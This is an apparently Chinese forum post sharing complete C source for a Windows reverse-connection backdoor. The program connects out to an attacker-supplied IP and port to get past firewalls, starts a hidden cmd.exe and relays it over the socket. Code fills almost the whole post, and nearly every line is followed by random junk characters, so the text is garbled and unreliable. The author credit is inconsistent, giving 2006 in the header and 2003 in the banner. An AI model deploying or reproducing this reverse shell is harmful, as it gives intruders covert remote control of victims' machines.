这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5xNOIOpDB
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/* ============================== V2@(BliP
Rebound port in Windows NT ~Hj c?*
By wind,2006/7 +2Aggv>*
===============================*/ ;G"!y<F
#include *UN*&DmF
#include ^"vmIC.h
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#pragma comment(lib,"wsock32.lib") F J?]|S.?,
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void OutputShell(); HTMo.hr
SOCKET sClient; 7*Zm{r@u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C$LRX7Z`o
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void main(int argc,char **argv) mY XL
{ )
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WSADATA stWsaData; r8czDc),b
int nRet; "e>9R'y
SOCKADDR_IN stSaiClient,stSaiServer; YWV)C?5x&
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if(argc != 3) Bqk+ne
{ <+b~E,
printf("Useage:\n\rRebound DestIP DestPort\n"); !A|}_K1Cr
return; s`.J!^u`
} <dBz]W
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WSAStartup(MAKEWORD(2,2),&stWsaData); \X]I: 0^j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >!o!rs
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stSaiClient.sin_family = AF_INET; +x4*T
stSaiClient.sin_port = htons(0); wZ`{ i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [kgCB7.V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,MHF
{ o`'4EVw*
printf("Bind Socket Failed!\n"); 7.n\a@I/
return; w&]$!g4
} `7V1 F.\
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stSaiServer.sin_family = AF_INET; #Wb4*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .6bo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0 EA3>$;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %6M%PR~u
{ !Ow
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printf("Connect Error!"); X;vUz
return; 6 vJS"+ <
} [+}0K{(O=
OutputShell(); nU#K=e
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} 4`RZ&w;1H2
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void OutputShell() vJx( lU`Y
{ (gcy3BX;
char szBuff[1024]; {\LLiU}MJC
SECURITY_ATTRIBUTES stSecurityAttributes; ?\X9Ei
OSVERSIONINFO stOsversionInfo; l%yQ{loTh
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f&] !;)
STARTUPINFO stStartupInfo; "uyr@u0b
char *szShell; B LZ<"npn
PROCESS_INFORMATION stProcessInformation; _Vc4F_
unsigned long lBytesRead; TvRm 7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; 6W;`}'ap
stSecurityAttributes.bInheritHandle = TRUE; X2Q35.AB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v&f\ Jv7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {)Wa"|+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2IkyC`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }ZiJHj'<
stStartupInfo.wShowWindow = SW_HIDE; eV;nTj
stStartupInfo.hStdInput = hReadPipe; Q yQ[H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '?X?'_3
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GetVersionEx(&stOsversionInfo); ##1/{9ywy
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switch(stOsversionInfo.dwPlatformId) xz+;1JAL3
{ X@)'E9g5:
case 1: ~1S,[5u|s
szShell = "command.com"; aan(69=jz
break; p}X *HJq$
default: 5,Co(K
szShell = "cmd.exe"; *Rc?rMF !
break; ,bB}lU)
} rQTG-& ,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7|!Zx-}
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send(sClient,szMsg,77,0); 'I2[}>mj2
while(1) ``rYzj_
{ h 3 J&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q,ZV C
if(lBytesRead) KT*"Sbh
{ ._.Qf<7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Yb:F,d-Ya
send(sClient,szBuff,lBytesRead,0); swLNNA.
} 'Q.5`o
else m/,8\+
{ GQE7P()
lBytesRead=recv(sClient,szBuff,1024,0); %UV"@I+
if(lBytesRead<=0) break; FEV Ya#S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lr
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} =65XT^
} WaE%g
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return; i+I1h=
}